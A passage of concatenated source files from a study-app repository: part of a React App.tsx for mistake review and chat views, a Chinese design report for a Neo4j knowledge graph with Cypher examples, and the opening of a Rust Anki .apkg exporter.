console.log('📍 App.tsx状态更新后: currentView=review-session, currentReviewSessionId=', sessionId);
// 确保状态更新后的下一个渲染周期能看到正确的组件
setTimeout(() => {
console.log('📍 验证状态更新: currentView=', currentView, ', currentReviewSessionId=', currentReviewSessionId);
}, 100);
}}
/>
</div>
{/* 回顾分析会话组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'review-session' ? 'block' : 'none' }}>
{currentReviewSessionId && (() => {
console.log('📍 正在渲染ReviewAnalysisSessionView, sessionId:', currentReviewSessionId);
return (
<ReviewAnalysisSessionView
sessionId={currentReviewSessionId}
onBack={() => {
console.log('📍 回到统一回顾页面');
setCurrentView('unified-review');
}}
/>
);
})()}
</div>
{/* DEPRECATED: 分析库组件已废弃 - 2024年6月8日，功能被统一回顾分析替代 */}
{/* {currentView === 'review-library' && (
<ReviewAnalysisLibrary
onSelectAnalysis={(analysis) => {
setCurrentReviewSessionId(analysis.id);
setCurrentView('review-session');
}}
onBack={() => setCurrentView('unified-review')}
/>
)} */}
{/* 数据统计组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'dashboard' ? 'block' : 'none' }}>
<Dashboard onBack={() => setCurrentView('analysis')} />
</div>
{/* 设置组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'settings' ? 'block' : 'none' }}>
<Settings onBack={() => setCurrentView('analysis')} />
</div>
{/* 错题详情组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'mistake-detail' ? 'block' : 'none' }}>
{selectedMistake && (() => {
// 调试日志：检查传递给UniversalAppChatHost的数据
console.log('🔍 App.tsx 传递给 UniversalAppChatHost 的错题数据:', {
mistakeId: selectedMistake.id,
chatHistoryLength: selectedMistake.chat_history?.length || 0,
chatHistoryExists: !!selectedMistake.chat_history,
chatHistoryData: selectedMistake.chat_history,
questionImageUrls: selectedMistake.question_image_urls || [],
questionImageUrlsExists: !!selectedMistake.question_image_urls,
questionImageUrlsLength: selectedMistake.question_image_urls?.length || 0,
questionImagesOriginal: selectedMistake.question_images || [],
questionImageUrlsPreview: selectedMistake.question_image_urls?.map((url, i) => `${i+1}: ${url.substring(0, 50)}...`) || [],
ocrText: selectedMistake.ocr_text?.substring(0, 100) + '...',
});
console.log('🔍 App.tsx selectedMistake 完整对象检查:', {
hasQuestionImageUrls: 'question_image_urls' in selectedMistake,
questionImageUrlsValue: selectedMistake.question_image_urls,
questionImageUrlsType: typeof selectedMistake.question_image_urls,
allKeys: Object.keys(selectedMistake),
mistakeId: selectedMistake.id
});
return (
<UniversalAppChatHost
mode="EXISTING_MISTAKE_DETAIL"
businessSessionId={selectedMistake.id}
preloadedData={{
subject: selectedMistake.subject,
userQuestion: selectedMistake.user_question,
questionImageUrls: selectedMistake.question_image_urls || [],
ocrText: selectedMistake.ocr_text,
tags: selectedMistake.tags || [],
chatHistory: selectedMistake.chat_history || [],
thinkingContent: (selectedMistake as any).thinkingContent || new Map(), // 🎯 修复：传递恢复的思维链数据
mistake_summary: selectedMistake.mistake_summary, // 错题总结
user_error_analysis: selectedMistake.user_error_analysis, // 用户错误分析
originalMistake: selectedMistake // 完整的原始错题对象
}}
serviceConfig={{
apiProvider: {
initiateAndGetStreamId: async (params) => ({
streamIdForEvents: params.businessId!,
ocrResultData: {
ocr_text: selectedMistake.ocr_text,
tags: selectedMistake.tags || [],
mistake_type: selectedMistake.mistake_type || '错题分析'
},
initialMessages: selectedMistake.chat_history || []
}),
startMainStreaming: async () => {}, // 错题详情不需要启动新的主流
continueUserChat: async (params) => {
await TauriAPI.continueMistakeChatStream({
mistakeId: params.businessId,
chatHistory: params.fullChatHistory,
enableChainOfThought: params.enableChainOfThought
});
}
},
streamEventNames: {
initialStream: (id) => ({
data: `mistake_chat_stream_${id}`,
reasoning: `mistake_chat_stream_${id}_reasoning`,
ragSources: `mistake_chat_stream_${id}_rag_sources`
}),
continuationStream: (id) => ({
data: `mistake_chat_stream_${id}`,
reasoning: `mistake_chat_stream_${id}_reasoning`,
ragSources: `mistake_chat_stream_${id}_rag_sources`
}),
},
defaultEnableChainOfThought: true,
defaultEnableRag: enableRag,
defaultRagTopK: ragTopK,
defaultSelectedLibraries: selectedLibraries,
}}
onCoreStateUpdate={(data) => {
// 减少控制台噪音
if (import.meta.env.DEV) {
console.log('🔄 错题详情状态更新:', {
chatHistoryLength: data.chatHistory.length,
thinkingContentSize: data.thinkingContent.size
});
}
}}
onSaveRequest={async (data) => {
try {
// 🎯 如果有总结内容，解析并更新
let updatedMistake = {
...selectedMistake,
chat_history: data.chatHistory
};
if (data.summaryContent) {
console.log('📝 [App] 处理总结内容更新...');
// 🎯 修复：改进解析逻辑，保持原始格式
const parseSummaryContent = (content: string) => {
console.log('📄 [总结解析] 原始内容长度:', content.length);
console.log('📄 [总结解析] 原始内容预览:', content.substring(0, 200) + '...');
// 🎯 策略1：如果内容较短或者没有明显的分段标识，保存到第一个字段
const lines = content.split('\n');
const hasNumberedSections = lines.some(line => /^\s*\d+\.\s*(核心知识点|错误分析|学习建议)/.test(line));
const hasMarkdownSections = lines.some(line => /^#+\s*(核心知识点|错误分析|学习建议)/.test(line));
if (!hasNumberedSections && !hasMarkdownSections) {
console.log('📄 [总结解析] 无明确分段，保存到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
// 🎯 策略2：尝试分段，但保持更完整的内容
let mistakeSummary = '';
let userErrorAnalysis = '';
let currentSection = '';
let includeCurrentLine = false;
for (const line of lines) {
const trimmedLine = line.trim();
// 检测章节标题
if (/^\s*\d+\.\s*核心知识点|^#+\s*核心知识点|题目解析|正确解法/.test(trimmedLine)) {
currentSection = 'mistake_summary';
includeCurrentLine = true;
} else if (/^\s*\d+\.\s*错误分析|^#+\s*错误分析|^\s*\d+\.\s*学习建议|^#+\s*学习建议|薄弱环节/.test(trimmedLine)) {
currentSection = 'user_error_analysis';
includeCurrentLine = true;
} else {
includeCurrentLine = true;
}
if (includeCurrentLine) {
if (currentSection === 'mistake_summary') {
mistakeSummary += line + '\n';
} else if (currentSection === 'user_error_analysis') {
userErrorAnalysis += line + '\n';
} else if (!currentSection) {
// 如果还没有检测到分段，先放到第一个字段
mistakeSummary += line + '\n';
}
}
}
// 🎯 策略3：如果分段后某个字段为空，将所有内容保存到第一个字段
if (!mistakeSummary.trim() && !userErrorAnalysis.trim()) {
console.log('📄 [总结解析] 分段失败，保存完整内容到mistake_summary');
return {
mistakeSummary: content.trim(),
userErrorAnalysis: null,
};
}
console.log('📄 [总结解析] 分段结果:', {
mistakeSummaryLength: mistakeSummary.trim().length,
userErrorAnalysisLength: userErrorAnalysis.trim().length
});
return {
mistakeSummary: mistakeSummary.trim() || null,
userErrorAnalysis: userErrorAnalysis.trim() || null,
};
};
const { mistakeSummary, userErrorAnalysis } = parseSummaryContent(data.summaryContent);
updatedMistake = {
...updatedMistake,
mistake_summary: mistakeSummary,
user_error_analysis: userErrorAnalysis,
status: "completed", // 🎯 修复：设置状态为已完成
updated_at: new Date().toISOString()
};
console.log('📝 [App] 总结内容已加入更新数据');
}
await TauriAPI.updateMistake(updatedMistake);
// 🎯 更新本地状态 - 确保 selectedMistake 包含最新的总结内容
handleUpdateMistake(updatedMistake);
setSelectedMistake(updatedMistake); // 重要：直接更新 selectedMistake
console.log('✅ [App] 错题状态已更新，包含总结内容');
alert('错题已更新！');
} catch (error) {
console.error('更新失败:', error);
alert('更新失败: ' + error);
}
}}
onExitRequest={() => setCurrentView('library')}
/>
);
})()}
</div>
{/* ANKI制卡组件始终挂载，只是控制显示/隐藏 */}
<div className="page-container" style={{ display: currentView === 'anki-generation' ? 'block' : 'none' }}>
<AnkiCardGeneration
onTemplateSelectionRequest={handleTemplateSelectionRequest}
/>
</div>
{/* RAG知识库管理组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'knowledge-base' ? 'block' : 'none' }}>
<EnhancedKnowledgeBaseManagement />
</div>
{/* RAG智能查询组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'rag-query' ? 'block' : 'none' }}>
<EnhancedRagQueryView />
</div>
{/* 数据管理组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'data-management' ? 'block' : 'none' }}>
<DataImportExport />
</div>
{/* 图片遮罩卡组件始终挂载，只是控制显示/隐藏 - 实现保活机制 */}
<div className="page-container" style={{ display: currentView === 'image-occlusion' ? 'block' : 'none' }}>
<ImageOcclusion />
</div>
{/* 模板管理页面 */}
<div className="page-container" style={{ display: currentView === 'template-management' ? 'block' : 'none' }}>
<TemplateManagementPage
isSelectingMode={isSelectingTemplate}
onTemplateSelected={handleTemplateSelected}
onCancel={handleTemplateSelectionCancel}
/>
</div>
{/* Gemini适配器测试页面 */}
<div className="page-container" style={{ display: currentView === 'gemini-adapter-test' ? 'block' : 'none' }}>
<GeminiAdapterTest />
</div>
{/* CogniGraph知识图谱管理页面 */}
<div className="page-container" style={{ display: currentView === 'cogni-graph' ? 'block' : 'none' }}>
<KnowledgeGraphManagement />
</div>
</div>
</main>
{/* 图片查看器 */}
<ImageViewer
images={questionImageUrls}
currentIndex={currentImageIndex}
isOpen={imageViewerOpen}
onClose={() => setImageViewerOpen(false)}
onNext={() => setCurrentImageIndex(prev => (prev + 1) % questionImageUrls.length)}
onPrev={() => setCurrentImageIndex(prev => (prev - 1 + questionImageUrls.length) % questionImageUrls.length)}
/>
</div>
</div>
</SubjectProvider>
);
}
export default App;
|
000haoji/deep-student
| 4,144 |
ds-graph/1.md
|
个性化知识网络系统：最终设计报告 (Neo4j版)
项目代号: Project CogniGraph
版本: 9.0 (Final - Neo4j Architecture)
日期: 2025年6月17日
核心: 一个以Neo4j为统一知识库，融合了多模态输入、AI推荐和高级检索的智能学习系统。
1. 绪论 (Introduction)
1.1 项目愿景与目标
构建一个智能的学习伴侣，将用户在解题过程中的思考（疑问、灵感、方法）结构化、网络化，并通过AI赋能，实现知识的智能检索、主动关联与深度洞察。
1.2 设计哲学与原则
极简核心，智慧涌现: 采用最简化的基础设施（单体Rust后端 + 单一Neo4j数据库），通过设计精良的数据模型和可配置的复杂算法，实现强大的涌现智能。
开发者体验优先: 选择Neo4j，因其拥有极其友好的本地开发工具（Neo4j Desktop）和无缝的云端迁移路径（AuraDB），最大化开发效率。
AI驱动的自动化: 系统的核心价值在于利用AI自动完成知识的组织、链接和推荐，将用户从繁琐的手动整理中解放出来。
开放与集成: 拥抱Obsidian等开放平台，通过插件和工作流集成，融入用户已有的学习习惯。
2. 系统总体架构 (Overall System Architecture)
2.1 架构图
Code snippet
graph TD
subgraph A [用户前端 (Obsidian + 自研插件)]
A1[UI / Excalidraw手写] -- 1. 触发操作 --> A2[插件逻辑 (TypeScript)]
end
A2 -- 2. REST API 请求 --> B[云端Rust后端API (Axum)]
subgraph C [云端服务]
B -- 3. Cypher查询 --> D[Neo4j数据库 (AuraDB)]
B -- 4. API调用 --> E[外部AI API (OpenAI, Mathpix)]
end
2.2 技术选型与理由
组件 技术选型 理由
后端语言 Rust 高性能、高安全性，确保API服务稳定可靠。
Web框架 Axum 与Tokio生态无缝集成，现代且高效。
图数据库 Neo4j (云端部署于AuraDB) 最佳综合选择：强大的Cypher查询、成熟的向量索引、一流的开发工具和无缝的免费云端部署路径。
前端平台 Obsidian (通过插件) 成熟的笔记平台，本地优先，高度可扩展，完美承载我们的系统。
手写识别 Mathpix API 业界领先的数学OCR服务，能将手写公式精准转换为LaTeX。
Export to Sheets
3. Neo4j图数据模型设计
3.1 节点标签与属性 (Node Labels & Properties)
(:ProblemCard)
id: String (UUID，主键)
content_problem: String (题干原文)
content_insight: String (核心灵感/解法)
status: String ('unsolved', 'solved')
embedding: Vector<Float> (由题干和灵感拼接后生成的向量)
created_at, last_accessed_at: Datetime
access_count: Integer
source_excalidraw_path: String (可选，链接回原始手写草稿文件)
(:Tag)
name: String (标签名，如“定积分”，主键)
type: String (标签类型，如knowledge_point, method)
3.2 关系类型 (Relationship Types)
(:ProblemCard) -[:HAS_TAG]-> (:Tag)
(:ProblemCard) -[:IS_VARIATION_OF]-> (:ProblemCard)
(:ProblemCard) -[:USES_GENERAL_METHOD]-> (:ProblemCard)
(:ProblemCard) -[:CONTRASTS_WITH]-> (:ProblemCard)
3.3 索引策略 (Cypher)
Cypher
// 确保ID和标签名的唯一性，并提供快速查找
CREATE CONSTRAINT pc_id FOR (n:ProblemCard) REQUIRE n.id IS UNIQUE;
CREATE CONSTRAINT tag_name FOR (n:Tag) REQUIRE n.name IS UNIQUE;
// 创建全文索引，用于关键词召回
CREATE FULLTEXT INDEX problem_card_content FOR (n:ProblemCard) ON (n.content_problem, n.content_insight);
// 创建向量索引，用于语义搜索
CREATE VECTOR INDEX problem_card_embedding FOR (n:ProblemCard) ON (n.embedding)
OPTIONS { indexConfig: { `vector.dimensions`: 1536, `vector.similarity_function`: 'cosine' }};
4. 核心工作流与Cypher实现
4.1 手写知识输入流程
[Obsidian] 用户在Excalidraw画布上完成手写推导，圈选灵感区域，点击“解析入库”。
[Plugin] 插件将选中区域导出为图片，调用Mathpix API进行OCR。
[Plugin] 插件将识别出的LaTeX和文本，连同题干等信息，打包发送到 POST /api/cards。
[Rust Backend] a. 调用Embedding API生成向量。 b. 执行一条原子性的Cypher查询来创建节点和关系：
Cypher
// $props是包含所有属性的参数，$tags_list是标签名列表
// 1. 创建ProblemCard节点
CREATE (pc:ProblemCard)
SET pc = $props
// 2. 对于每个标签，如果不存在则创建，然后建立关系
WITH pc
UNWIND $tags_list AS tag_name
MERGE (t:Tag {name: tag_name})
CREATE (pc)-[:HAS_TAG]->(t)
RETURN pc.id;
[Rust Backend] 异步触发AI关系推荐流程。
4.2 多路召回与融合排序流程
[Rust Backend] 接收到 GET /api/search 请求。
并行执行召回查询:
向量召回:
Cypher
CALL db.index.vector.queryNodes('problem_card_embedding', 100, $query_vector)
YIELD node, score
RETURN node.id, score;
全文检索召回:
Cypher
CALL db.index.fulltext.queryNodes('problem_card_content', $query_string, {limit: 100})
YIELD node, score
RETURN node.id, score;
[Rust Backend] 在Rust代码中： a. 融合：将两路召回的ID合并去重。 b. 获取完整数据：用融合后的ID列表向Neo4j查询完整的节点属性。 c. 重排序：应用config.toml中定义的权重公式，计算每个卡片的最终得分并排序。
[API] 返回最终排序后的结果列表。
4.3 AI关系推荐流程
[Rust Backend] 在新卡片C_new创建后触发。
[Rust Backend] 执行一次轻量级的多路召回，找到最相关的候选卡片C_candidate。
[Rust Backend] 执行一条Cypher查询，评估C_candidate的“价值”（例如，它的关系数量和访问次数）。
Cypher
MATCH (c:ProblemCard {id: $candidate_id})
OPTIONAL MATCH (c)-[r]-()
RETURN c.access_count, count(r) AS degree;
[Rust Backend] 在代码中根据评分和价值，决定是否生成推荐。
[API] 如果生成推荐，则通过WebSocket或HTTP轮询通知前端。
5. 开发到部署的“无墙”路径
本地开发:
下载并安装 Neo4j Desktop。
一键创建本地数据库实例。
在config.toml中配置本地数据库地址 (bolt://localhost:7687)。
安心开发和调试您的Rust后端与Obsidian插件。
云端部署:
前往 Neo4j AuraDB 官网，注册并创建一个免费的云端数据库实例。
将您的Rust后端服务打包成Docker镜像，部署到任意云平台（如 Vultr, DigitalOcean, Fly.io, AWS等）。
唯一需要修改的，是config.toml中的数据库连接信息，将其指向您的AuraDB实例地址。
您的应用就此全球可访问，且具备了高可用、自动备份等企业级特性。
未来扩展:
当您的知识库规模超过AuraDB免费版限制时，只需在官网点击升级按钮，即可获得更强的性能和更大的容量。您的代码库无需任何改动。
这个基于Neo4j的最终方案，为您提供了一个从零开始、体验流畅、功能强大且没有后顾之忧的完整实现蓝图。
|
000haoji/deep-student
| 24,720 |
src-tauri/src/apkg_exporter_service.rs
|
use serde::{Deserialize, Serialize};
use std::path::PathBuf;
use std::fs::{File, self};
use std::io::Write;
use rusqlite::{Connection, Result as SqliteResult, params};
use zip::{ZipWriter, write::FileOptions};
use crate::models::AnkiCard;
use chrono::Utc;
/// 清理卡片内容中的无效模板占位符
fn clean_template_placeholders(content: &str) -> String {
let mut cleaned = content.to_string();
// 移除各种可能的占位符
cleaned = cleaned.replace("{{.}}", "");
cleaned = cleaned.replace("{{/}}", "");
cleaned = cleaned.replace("{{#}}", "");
cleaned = cleaned.replace("{{}}", "");
// 移除空的Mustache标签 {{}}
while cleaned.contains("{{}}") {
cleaned = cleaned.replace("{{}}", "");
}
// 移除可能的空白标签
cleaned = cleaned.replace("{{ }}", "");
cleaned = cleaned.replace("{{ }}", "");
// 清理多余的空白和换行
cleaned.trim().to_string()
}
/// Anki的基本配置
const ANKI_COLLECTION_CONFIG: &str = r#"{
"nextPos": 1,
"estTimes": true,
"activeDecks": [1],
"sortType": "noteFld",
"timeLim": 0,
"sortBackwards": false,
"addToCur": true,
"curDeck": 1,
"newBury": 0,
"newSpread": 0,
"dueCounts": true,
"curModel": "1425279151691",
"collapseTime": 1200
}"#;
#[derive(Serialize, Deserialize)]
struct AnkiModel {
#[serde(rename = "vers")]
version: Vec<i32>,
name: String,
#[serde(rename = "type")]
model_type: i32,
#[serde(rename = "mod")]
modified: i64,
#[serde(rename = "usn")]
update_sequence_number: i32,
#[serde(rename = "sortf")]
sort_field: i32,
#[serde(rename = "did")]
deck_id: i64,
#[serde(rename = "tmpls")]
templates: Vec<AnkiTemplate>,
#[serde(rename = "flds")]
fields: Vec<AnkiField>,
css: String,
#[serde(rename = "latexPre")]
latex_pre: String,
#[serde(rename = "latexPost")]
latex_post: String,
tags: Vec<String>,
id: String,
req: Vec<Vec<serde_json::Value>>,
}
#[derive(Serialize, Deserialize)]
struct AnkiTemplate {
name: String,
ord: i32,
qfmt: String,
afmt: String,
#[serde(rename = "bqfmt")]
browser_qfmt: String,
#[serde(rename = "bafmt")]
browser_afmt: String,
#[serde(rename = "did")]
deck_id: Option<i64>,
#[serde(rename = "bfont")]
browser_font: String,
#[serde(rename = "bsize")]
browser_size: i32,
}
#[derive(Serialize, Deserialize)]
struct AnkiField {
name: String,
ord: i32,
sticky: bool,
rtl: bool,
font: String,
size: i32,
#[serde(rename = "media")]
media: Vec<String>,
description: String,
}
/// 创建基本的Anki模型定义
fn create_basic_model() -> AnkiModel {
AnkiModel {
version: vec![],
name: "Basic".to_string(),
model_type: 0,
modified: Utc::now().timestamp(),
update_sequence_number: -1,
sort_field: 0,
deck_id: 1,
templates: vec![AnkiTemplate {
name: "Card 1".to_string(),
ord: 0,
qfmt: "{{Front}}".to_string(),
afmt: "{{FrontSide}}\n\n<hr id=answer>\n\n{{Back}}".to_string(),
browser_qfmt: "".to_string(),
browser_afmt: "".to_string(),
deck_id: None,
browser_font: "Arial".to_string(),
browser_size: 12,
}],
fields: vec![
AnkiField {
name: "Front".to_string(),
ord: 0,
sticky: false,
rtl: false,
font: "Arial".to_string(),
size: 20,
media: vec![],
description: "".to_string(),
},
AnkiField {
name: "Back".to_string(),
ord: 1,
sticky: false,
rtl: false,
font: "Arial".to_string(),
size: 20,
media: vec![],
description: "".to_string(),
},
],
css: ".card {\n font-family: arial;\n font-size: 20px;\n text-align: center;\n color: black;\n background-color: white;\n}".to_string(),
latex_pre: "\\documentclass[12pt]{article}\n\\special{papersize=3in,5in}\n\\usepackage[utf8]{inputenc}\n\\usepackage{amssymb,amsmath}\n\\pagestyle{empty}\n\\setlength{\\parindent}{0in}\n\\begin{document}\n".to_string(),
latex_post: "\\end{document}".to_string(),
tags: vec![],
id: "1425279151691".to_string(),
req: vec![vec![serde_json::Value::from(0), serde_json::Value::from("any"), serde_json::Value::Array(vec![serde_json::Value::from(0)])]],
}
}
/// 根据模板创建自定义Anki模型定义
fn create_template_model(
template_id: Option<&str>,
template_name: &str,
fields: &[String],
front_template: &str,
back_template: &str,
css_style: &str,
model_type: i32, // 新增参数
) -> AnkiModel {
// 创建字段定义
let anki_fields: Vec<AnkiField> = fields
.iter()
.enumerate()
.map(|(i, field_name)| AnkiField {
name: field_name.clone(),
ord: i as i32,
sticky: false,
rtl: false,
font: "Arial".to_string(),
size: 20,
media: vec![],
description: "".to_string(),
})
.collect();
let req = if model_type == 1 {
// Cloze model requirement
vec![vec![serde_json::Value::from(0), serde_json::Value::from("all"), serde_json::Value::Array(vec![serde_json::Value::from(0)])]]
} else {
// Basic model requirement
vec![vec![serde_json::Value::from(0), serde_json::Value::from("any"), serde_json::Value::Array(vec![serde_json::Value::from(0)])]]
};
AnkiModel {
version: vec![],
name: template_name.to_string(),
model_type, // 使用传入的model_type
modified: Utc::now().timestamp(),
update_sequence_number: -1,
sort_field: 0,
deck_id: 1,
templates: vec![AnkiTemplate {
name: "Card 1".to_string(),
ord: 0,
qfmt: front_template.to_string(),
afmt: back_template.to_string(),
browser_qfmt: "".to_string(),
browser_afmt: "".to_string(),
deck_id: None,
browser_font: "Arial".to_string(),
browser_size: 12,
}],
fields: anki_fields,
css: css_style.to_string(),
latex_pre: "\\documentclass[12pt]{article}\n\\special{papersize=3in,5in}\n\\usepackage[utf8]{inputenc}\n\\usepackage{amssymb,amsmath}\n\\pagestyle{empty}\n\\setlength{\\parindent}{0in}\n\\begin{document}\n".to_string(),
latex_post: "\\end{document}".to_string(),
tags: vec![],
id: template_id.unwrap_or("1425279151691").to_string(),
req,
}
}
/// 创建Cloze模型定义
fn create_cloze_model() -> AnkiModel {
AnkiModel {
version: vec![],
name: "Cloze".to_string(),
model_type: 1, // Cloze类型
modified: Utc::now().timestamp(),
update_sequence_number: -1,
sort_field: 0,
deck_id: 1,
templates: vec![AnkiTemplate {
name: "Cloze".to_string(),
ord: 0,
qfmt: "{{cloze:Text}}".to_string(),
afmt: "{{cloze:Text}}<br>{{Extra}}".to_string(),
browser_qfmt: "".to_string(),
browser_afmt: "".to_string(),
deck_id: None,
browser_font: "Arial".to_string(),
browser_size: 12,
}],
fields: vec![
AnkiField {
name: "Text".to_string(),
ord: 0,
sticky: false,
rtl: false,
font: "Arial".to_string(),
size: 20,
media: vec![],
description: "".to_string(),
},
AnkiField {
name: "Extra".to_string(),
ord: 1,
sticky: false,
rtl: false,
font: "Arial".to_string(),
size: 20,
media: vec![],
description: "".to_string(),
},
],
css: ".card {\n font-family: arial;\n font-size: 20px;\n text-align: center;\n color: black;\n background-color: white;\n}\n.cloze {\n font-weight: bold;\n color: blue;\n}".to_string(),
latex_pre: "\\documentclass[12pt]{article}\n\\special{papersize=3in,5in}\n\\usepackage[utf8]{inputenc}\n\\usepackage{amssymb,amsmath}\n\\pagestyle{empty}\n\\setlength{\\parindent}{0in}\n\\begin{document}\n".to_string(),
latex_post: "\\end{document}".to_string(),
tags: vec![],
id: "1425279151692".to_string(),
req: vec![vec![serde_json::Value::from(0), serde_json::Value::from("all"), serde_json::Value::Array(vec![serde_json::Value::from(0)])]],
}
}
/// 初始化Anki数据库结构
fn initialize_anki_database(conn: &Connection, deck_name: &str, model_name: &str) -> SqliteResult<(i64, i64)> {
initialize_anki_database_with_template(conn, deck_name, model_name, None)
}
fn initialize_anki_database_with_template(
conn: &Connection,
deck_name: &str,
model_name: &str,
template_config: Option<(String, Vec<String>, String, String, String)>
) -> SqliteResult<(i64, i64)> {
// 创建基本表结构
conn.execute_batch(r#"
PRAGMA journal_mode = WAL;
CREATE TABLE col (
id integer primary key,
crt integer not null,
mod integer not null,
scm integer not null,
ver integer not null,
dty integer not null,
usn integer not null,
ls integer not null,
conf text not null,
models text not null,
decks text not null,
dconf text not null,
tags text not null
);
CREATE TABLE notes (
id integer primary key,
guid text not null unique,
mid integer not null,
mod integer not null,
usn integer not null,
tags text not null,
flds text not null,
sfld text not null,
csum integer not null,
flags integer not null,
data text not null
);
CREATE TABLE cards (
id integer primary key,
nid integer not null,
did integer not null,
ord integer not null,
mod integer not null,
usn integer not null,
type integer not null,
queue integer not null,
due integer not null,
ivl integer not null,
factor integer not null,
reps integer not null,
lapses integer not null,
left integer not null,
odue integer not null,
odid integer not null,
flags integer not null,
data text not null
);
CREATE TABLE revlog (
id integer primary key,
cid integer not null,
usn integer not null,
ease integer not null,
ivl integer not null,
lastIvl integer not null,
factor integer not null,
time integer not null,
type integer not null
);
CREATE TABLE graves (
usn integer not null,
oid integer not null,
type integer not null
);
CREATE INDEX ix_cards_nid on cards (nid);
CREATE INDEX ix_cards_sched on cards (did, queue, due);
CREATE INDEX ix_cards_usn on cards (usn);
CREATE INDEX ix_notes_usn on notes (usn);
CREATE INDEX ix_notes_csum on notes (csum);
CREATE INDEX ix_revlog_usn on revlog (usn);
CREATE INDEX ix_revlog_cid on revlog (cid);
"#)?;
let now = Utc::now().timestamp();
let deck_id = 1i64;
let model_id = if model_name == "Cloze" { 1425279151692i64 } else { 1425279151691i64 };
// 创建牌组配置
let decks = serde_json::json!({
"1": {
"id": 1,
"name": deck_name,
"extendRev": 50,
"usn": 0,
"collapsed": false,
"newToday": [0, 0],
"revToday": [0, 0],
"lrnToday": [0, 0],
"timeToday": [0, 0],
"dyn": 0,
"extendNew": 10,
"conf": 1,
"desc": "",
"browserCollapsed": true,
"mod": now
}
});
// 创建模型配置
let model = if let Some((template_name, fields, front_template, back_template, css_style)) = template_config {
// 判断是否为Cloze类型
let model_type = if model_name == "Cloze" { 1 } else { 0 };
// 🎯 关键修复：清理模板HTML中的占位符
let cleaned_front_template = clean_template_placeholders(&front_template);
let cleaned_back_template = clean_template_placeholders(&back_template);
let cleaned_css_style = clean_template_placeholders(&css_style);
create_template_model(
Some(&model_id.to_string()),
&template_name,
&fields,
&cleaned_front_template,
&cleaned_back_template,
&cleaned_css_style,
model_type,
)
} else if model_name == "Cloze" {
create_cloze_model()
} else {
create_basic_model()
};
let model_id_clone = model.id.clone();
let models = serde_json::json!({
model_id_clone: model
});
// 创建牌组配置
let dconf = serde_json::json!({
"1": {
"id": 1,
"name": "Default",
"replayq": true,
"lapse": {
"leechFails": 8,
"minInt": 1,
"leechAction": 0,
"delays": [10],
"mult": 0.0
},
"rev": {
"perDay": 200,
"ivlFct": 1.0,
"maxIvl": 36500,
"ease4": 1.3,
"bury": true,
"minSpace": 1
},
"timer": 0,
"maxTaken": 60,
"usn": 0,
"new": {
"perDay": 20,
"delays": [1, 10],
"separate": true,
"ints": [1, 4, 7],
"initialFactor": 2500,
"bury": true,
"order": 1
},
"mod": now,
"autoplay": true
}
});
// 插入集合配置
conn.execute(
"INSERT INTO col (id, crt, mod, scm, ver, dty, usn, ls, conf, models, decks, dconf, tags) VALUES (1, ?, ?, ?, 11, 0, 0, 0, ?, ?, ?, ?, '{}')",
params![
now,
now,
now,
ANKI_COLLECTION_CONFIG,
models.to_string(),
decks.to_string(),
dconf.to_string()
]
)?;
Ok((deck_id, model_id))
}
/// 生成字段校验和
fn field_checksum(text: &str) -> i64 {
if text.is_empty() {
return 0;
}
let mut sum = 0i64;
for (i, ch) in text.chars().enumerate() {
sum += (ch as u32 as i64) * (i as i64 + 1);
}
sum
}
/// 将AnkiCard转换为Anki数据库记录
fn convert_cards_to_anki_records(
cards: Vec<AnkiCard>,
_deck_id: i64,
_model_id: i64,
model_name: &str,
) -> Result<Vec<(String, String, String, i64, String)>, String> {
convert_cards_to_anki_records_with_fields(cards, _deck_id, _model_id, model_name, None)
}
fn convert_cards_to_anki_records_with_fields(
cards: Vec<AnkiCard>,
_deck_id: i64,
_model_id: i64,
model_name: &str,
template_fields: Option<&[String]>,
) -> Result<Vec<(String, String, String, i64, String)>, String> {
let mut records = Vec::new();
let now = Utc::now().timestamp();
for card in cards {
let note_id = now * 1000 + records.len() as i64; // 生成唯一ID
let guid = format!("{}", uuid::Uuid::new_v4().to_string().replace("-", ""));
// 根据模板字段或模型类型处理字段
let (fields, sort_field) = if let Some(field_names) = template_fields {
// 使用模板字段
let mut field_values = Vec::new();
// 🐛 调试日志：打印字段处理信息
if field_names.len() > 4 { // 学术模板有6个字段
println!("🎯 DEBUG: 处理学术模板，字段数量: {}", field_names.len());
println!("🎯 DEBUG: 模板字段: {:?}", field_names);
println!("🎯 DEBUG: 卡片extra_fields: {:?}", card.extra_fields.keys().collect::<Vec<_>>());
println!("🎯 DEBUG: 卡片tags字段: {:?}", card.tags);
}
for field_name in field_names {
let value = match field_name.to_lowercase().as_str() {
"front" => clean_template_placeholders(&card.front),
"back" => clean_template_placeholders(&card.back),
"text" => clean_template_placeholders(&card.text.clone().unwrap_or_default()),
"tags" => {
// 处理标签字段：将Vec<String>转换为逗号分隔的字符串
if card.tags.is_empty() {
String::new()
} else {
clean_template_placeholders(&card.tags.join(", "))
}
}
_ => {
// 从扩展字段中获取 (大小写不敏感)
let field_key = field_name.to_lowercase();
let raw_value = card.extra_fields.get(&field_key)
.or_else(|| card.extra_fields.get(field_name))
.cloned()
.unwrap_or_else(|| {
// 🐛 调试：记录缺失的字段
println!("⚠️ DEBUG: 字段 '{}' 未找到，使用空值", field_name);
String::new()
});
clean_template_placeholders(&raw_value)
}
};
// 🐛 调试：打印每个字段的值 (UTF-8安全截断)
if field_names.len() > 4 {
println!("🎯 DEBUG: 字段 '{}' -> '{}'", field_name,
if value.chars().count() > 50 {
format!("{}...", value.chars().take(50).collect::<String>())
} else {
value.clone()
});
}
field_values.push(value);
}
let fields_str = field_values.join("\x1f");
let sort_field = field_values.first().cloned().unwrap_or_default();
(fields_str, sort_field)
} else {
// 传统处理方式
match model_name {
"Cloze" => {
let clean_front = clean_template_placeholders(&card.front);
let clean_back = clean_template_placeholders(&card.back);
let cloze_text = if clean_back.is_empty() {
clean_front
} else {
format!("{{{{c1::{}}}}}\n\n{}", clean_front, clean_back)
};
